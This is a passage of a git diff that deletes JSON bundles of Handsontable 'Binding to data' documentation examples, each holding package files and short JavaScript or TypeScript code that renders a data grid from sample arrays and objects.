    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\nconst data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns: [\n { data: 0 },\n // skip the second column\n { data: 2 },\n { data: 3 },\n { data: 4 },\n { data: 5 },\n { data: 6 },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example2.js","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example2","exampleTitle":"Array of arrays with a selective display of columns","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example2.ts.json deleted file mode 100644 index f64d6c37..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Array of arrays with a selective display of columns · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\nconst data: (string | number)[][] = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns: [\n { data: 0 },\n // skip the second column\n { data: 2 },\n { data: 3 },\n { data: 4 },\n { data: 5 },\n { data: 6 },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example2.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example2","exampleTitle":"Array of arrays with a selective display of columns","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example3.js.json deleted file mode 100644 index 85307ed8..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example3.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Array of objects · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\nconst data = [\n { id: 1, name: 'Ted Right', address: '' },\n { id: 2, name: 'Frank Honest', address: '' },\n { id: 3, name: 'Joan Well', address: '' },\n { id: 4, name: 'Gail Polite', address: '' },\n { id: 5, name: 'Michael Fair', address: '' },\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example3.js","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example3.ts.json deleted file mode 100644 index 554727f6..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Array of objects · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\ninterface Person {\n id: number;\n name: string;\n address: string;\n}\n\nconst data: Person[] = [\n { id: 1, name: 'Ted Right', address: '' },\n { id: 2, name: 'Frank Honest', address: '' },\n { id: 3, name: 'Joan Well', address: '' },\n { id: 4, name: 'Gail Polite', address: '' },\n { id: 5, name: 'Michael Fair', address: '' },\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example3.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example4.js.json deleted file mode 100644 index 6dbeb1d2..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example4.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Array of objects with column as a function · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4');\nconst data = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' },\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns(column) {\n switch (column) {\n case 0:\n return { data: 'id' };\n case 1:\n return { data: 'name.first' };\n case 2:\n return { data: 'name.last' };\n case 3:\n return { data: 'address' };\n default:\n return {};\n }\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example4.js","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example4","exampleTitle":"Array of objects with column as a function","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example4.ts.json deleted file mode 100644 index bdc83580..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Array of objects with column as a function · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\ninterface Person {\n id: number;\n name?: { first: string; last: string };\n address: string;\n}\n\nconst data: Person[] = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' }, // Handsontable will create missing properties on demand\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns(column) {\n switch (column) {\n case 0:\n return { data: 'id' };\n case 1:\n return { data: 'name.first' };\n case 2:\n return { data: 'name.last' };\n case 3:\n return { data: 'address' };\n default:\n return {};\n }\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example4.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example4","exampleTitle":"Array of objects with column as a function","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example5.js.json deleted file mode 100644 index 8496bd49..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example5.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Array of objects with column mapping · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5');\nconst data = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' },\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns: [{ data: 'id' }, { data: 'name.first' }, { data: 'name.last' }, { data: 'address' }],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example5.js","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example5","exampleTitle":"Array of objects with column mapping","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example5.ts.json deleted file mode 100644 index bf0ce09c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example5.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Array of objects with column mapping · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\n\ninterface Person {\n id: number;\n name?: { first: string; last: string };\n address: string;\n}\n\nconst data: Person[] = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' }, // Handsontable will create missing properties on demand\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns: [{ data: 'id' }, { data: 'name.first' }, { data: 'name.last' }, { data: 'address' }],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example5.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example5","exampleTitle":"Array of objects with column mapping","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example6.js.json deleted file mode 100644 index b9cfea3b..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example6.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Array of objects with custom data schema · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example6');\n\nnew Handsontable(container, {\n data: [],\n dataSchema: { id: null, name: { first: null, last: null }, address: null },\n startRows: 5,\n startCols: 4,\n colHeaders: ['ID', 'First Name', 'Last Name', 'Address'],\n height: 'auto',\n width: 'auto',\n columns: [{ data: 'id' }, { data: 'name.first' }, { data: 'name.last' }, { data: 'address' }],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example6.js","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example6","exampleTitle":"Array of objects with custom data schema","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example6.ts.json deleted file mode 100644 index 262101e4..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example6.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Array of objects with custom data schema · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example6')!;\n\nnew Handsontable(container, {\n data: [],\n dataSchema: { id: null, name: { first: null, last: null }, address: null },\n startRows: 5,\n startCols: 4,\n colHeaders: ['ID', 'First Name', 'Last Name', 'Address'],\n height: 'auto',\n width: 'auto',\n columns: [{ data: 'id' }, { data: 'name.first' }, { data: 'name.last' }, { data: 'address' }],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example6.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example6","exampleTitle":"Array of objects with custom data schema","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example7.js.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example7.js.json deleted file mode 100644 index 220d0f92..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example7.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Function data source and schema · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example7');\n\nnew Handsontable(container, {\n data: [\n model({ id: 1, name: 'Ted Right', address: '' }),\n model({ id: 2, name: 'Frank Honest', address: '' }),\n model({ id: 3, name: 'Joan Well', address: '' }),\n model({ id: 4, name: 'Gail Polite', address: '' }),\n model({ id: 5, name: 'Michael Fair', address: '' }),\n ],\n dataSchema: model,\n height: 'auto',\n width: 'auto',\n colHeaders: ['ID', 'Name', 'Address'],\n columns: [{ data: property('id') }, { data: property('name') }, { data: property('address') }],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nfunction model(person) {\n const _pub = {\n id: undefined,\n name: undefined,\n address: undefined,\n attr: () => _pub,\n };\n\n const _priv = {};\n\n for (const prop in person) {\n if (person.hasOwnProperty(prop)) {\n _priv[prop] = person[prop];\n }\n }\n\n _pub.attr = (attr, val) => {\n if (typeof val === 'undefined') {\n window.console && console.log('GET the', attr, 'value of', _pub);\n\n return _priv[attr];\n }\n\n window.console && console.log('SET the', attr, 'value of', _pub);\n _priv[attr] = val;\n\n return _pub;\n };\n\n return _pub;\n}\n\nfunction property(attr) {\n return (row, value) => row.attr(attr, value);\n}","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example7.js","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example7","exampleTitle":"Function data source and schema","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example7.ts.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example7.ts.json deleted file mode 100644 index 494d47d5..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example7.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Function data source and schema · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Person {\n id: number | undefined;\n name: string | undefined;\n address: string | undefined;\n attr: (attr: string, val?: Handsontable.CellValue) => keyof Person | Person;\n}\n\nconst container = document.querySelector('#example7')!;\n\nnew Handsontable(container, {\n data: [\n model({ id: 1, name: 'Ted Right', address: '' }),\n model({ id: 2, name: 'Frank Honest', address: '' }),\n model({ id: 3, name: 'Joan Well', address: '' }),\n model({ id: 4, name: 'Gail Polite', address: '' }),\n model({ id: 5, name: 'Michael Fair', address: '' }),\n ],\n dataSchema: model,\n height: 'auto',\n width: 'auto',\n colHeaders: ['ID', 'Name', 'Address'],\n columns: [{ data: property('id') }, { data: property('name') }, { data: property('address') }],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nfunction model(person: Partial) {\n const _pub: Person = {\n id: undefined,\n name: undefined,\n address: undefined,\n attr: () => _pub,\n };\n\n const _priv: Partial = {};\n\n for (const prop in person) {\n if (person.hasOwnProperty(prop)) {\n _priv[prop] = person[prop];\n }\n }\n\n _pub.attr = (attr, val) => {\n if (typeof val === 'undefined') {\n window.console && console.log('GET the', attr, 'value of', _pub);\n\n return _priv[attr];\n }\n\n window.console && console.log('SET the', attr, 'value of', _pub);\n _priv[attr] = val;\n\n return _pub;\n };\n\n return _pub;\n}\n\nfunction property(attr: string) {\n return (row: Handsontable.RowObject | Handsontable.CellValue[], value?: Handsontable.CellValue) => (row as unknown as Person).attr(attr, value);\n}","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example7.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example7","exampleTitle":"Function data source and schema","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example1.tsx.json deleted file mode 100644 index 6a944016..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Getting Started ▸ Binding to data · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": 